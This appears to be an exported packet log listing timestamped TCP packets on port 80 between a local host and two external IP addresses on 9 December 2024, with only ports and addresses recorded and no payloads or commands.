Dec 9, 2024 15:29:37.597378016 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.597392082 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.597440958 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.597470045 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.599138021 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.599155903 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.599210978 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.645400047 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.645484924 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.645968914 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.646053076 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.646857023 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.646869898 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.646910906 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.646945000 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.648530006 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.648580074 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.649457932 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.649472952 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.649525881 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.651134968 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.651247025 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.651949883 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.651962996 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.652008057 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.653842926 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.653855085 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.653915882 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.655379057 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.655395031 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.655441999 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.656939030 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.656950951 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.657005072 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.658900023 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.658912897 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.658984900 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.660875082 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.660887003 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.660944939 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.660975933 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.662866116 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.662878990 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.662888050 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.662931919 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.662965059 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.707468987 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.707566023 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.708362103 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.708379030 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.708432913 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.709450960 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.709508896 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.710438967 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.710453033 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.710500002 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.712127924 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.712141037 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.712198019 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.713509083 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.713521004 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.713567019 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.715358973 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.715373039 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.715415955 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.717001915 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.717015982 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.717122078 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.717122078 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.718791008 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.718812943 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.718862057 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.722768068 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.722784996 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.722851038 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.722892046 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.724777937 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.724792004 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.724827051 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.724860907 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.726711035 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.726725101 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.726736069 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.726771116 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.726798058 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.728806019 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:37.728878021 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.771790981 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:37.892329931 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.215020895 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.215132952 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.215342045 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.215409994 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.216012001 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.216073990 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.216290951 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.216336966 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.217000961 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.217053890 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.217690945 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.217704058 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.217744112 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.219105959 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.219119072 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.219161987 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.220650911 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.220664024 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.220701933 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.220730066 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.222022057 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.222034931 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.222075939 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.223426104 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.223438025 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.223485947 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.224987984 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.224999905 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.225044966 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.226214886 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.226227045 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.226269007 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.227644920 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.227657080 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.227698088 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.229232073 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.229243994 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.229285955 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.229310036 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.230794907 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.230820894 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.230854034 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.230870008 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.232368946 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.232382059 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.232429028 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.234044075 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.234056950 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.234066963 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.234101057 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.234117985 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.235642910 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.235656023 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.235704899 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.237325907 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.237339020 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.237385988 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.238703012 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.238715887 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.238759995 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.240312099 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.240333080 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.240344048 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.240369081 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.240395069 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.241903067 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.241915941 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.241961002 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.243526936 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.243537903 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.243585110 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.245093107 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.245105982 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.245146990 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.246625900 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.246639013 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.246681929 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.249787092 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.249846935 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.251357079 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.251368999 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.251379013 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.251415014 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.251442909 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.252984047 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.253036022 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.253077030 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.253098011 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.254538059 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.254549980 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.254595995 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.256082058 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.256128073 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.256162882 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.256186008 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.257714987 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.257728100 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.257774115 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.259304047 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.259327888 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.259362936 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.259393930 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.261034966 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.261046886 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.261099100 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.262424946 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.262437105 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.262480974 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.264081955 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.264096975 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.264148951 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.753886938 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.753951073 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:38.873859882 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:38.873922110 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:39.870368958 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:39.870572090 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:39.939528942 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:40.059961081 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:40.393735886 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:40.393801928 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:40.394073009 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:40.394121885 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:40.395212889 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:40.395272017 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:40.397978067 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:40.517601013 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:40.842052937 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:40.842214108 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:40.853339911 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:40.972700119 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:41.787620068 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:41.787754059 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:41.790158987 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:41.910818100 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:42.236859083 CET	80	49767	185.215.113.206	192.168.2.5
Dec 9, 2024 15:29:42.236954927 CET	49767	80	192.168.2.5	185.215.113.206
Dec 9, 2024 15:29:42.240766048 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:42.360733032 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:42.360821009 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:42.360984087 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:42.481084108 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.711155891 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.711226940 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.711796999 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.711905956 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.712424040 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.712480068 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.712830067 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.712841034 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.712893963 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.713684082 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.713737011 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.714437962 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.714448929 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.714493036 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.715338945 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.715393066 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.716175079 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.716226101 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.830956936 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.831077099 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.831300020 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.831351995 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.834928989 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.834989071 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.845339060 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.845407963 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.845617056 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.845669985 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.904911041 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.905545950 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.905966997 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.907246113 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.907686949 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.907757044 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.916527987 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.917040110 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.917537928 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.924695969 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.924757957 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.925230026 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.929862976 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.933429003 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.933482885 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.933775902 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.933830976 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.942363977 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.942442894 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.942658901 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.942728043 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.950164080 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.950217962 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.950622082 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.950692892 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.957782030 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.957956076 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.958251953 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.958303928 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.966223001 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.966331005 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.966555119 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.966607094 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.973860025 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.974222898 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.974250078 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.974273920 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:43.983573914 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:43.983984947 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.080132008 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.080260992 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.080486059 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.080554008 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.082473040 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.082546949 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.096978903 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.097070932 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.097259045 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.097306013 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.098191977 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.098238945 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.098566055 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.098609924 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.100841999 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.100898981 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.101202965 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.101258039 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.105249882 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.105323076 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.105629921 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.105681896 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.111193895 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.111207008 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.111253977 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.114181042 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.114239931 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.114455938 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.114506006 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.118542910 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.118599892 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.118922949 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.118969917 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.123207092 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.123267889 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.123626947 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.123676062 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.127759933 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.127825022 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.128000975 CET	80	49805	185.215.113.16	192.168.2.5
Dec 9, 2024 15:29:44.128047943 CET	49805	80	192.168.2.5	185.215.113.16
Dec 9, 2024 15:29:44.131897926 CET	80	49805	185.215.113.16	192.168.2.5
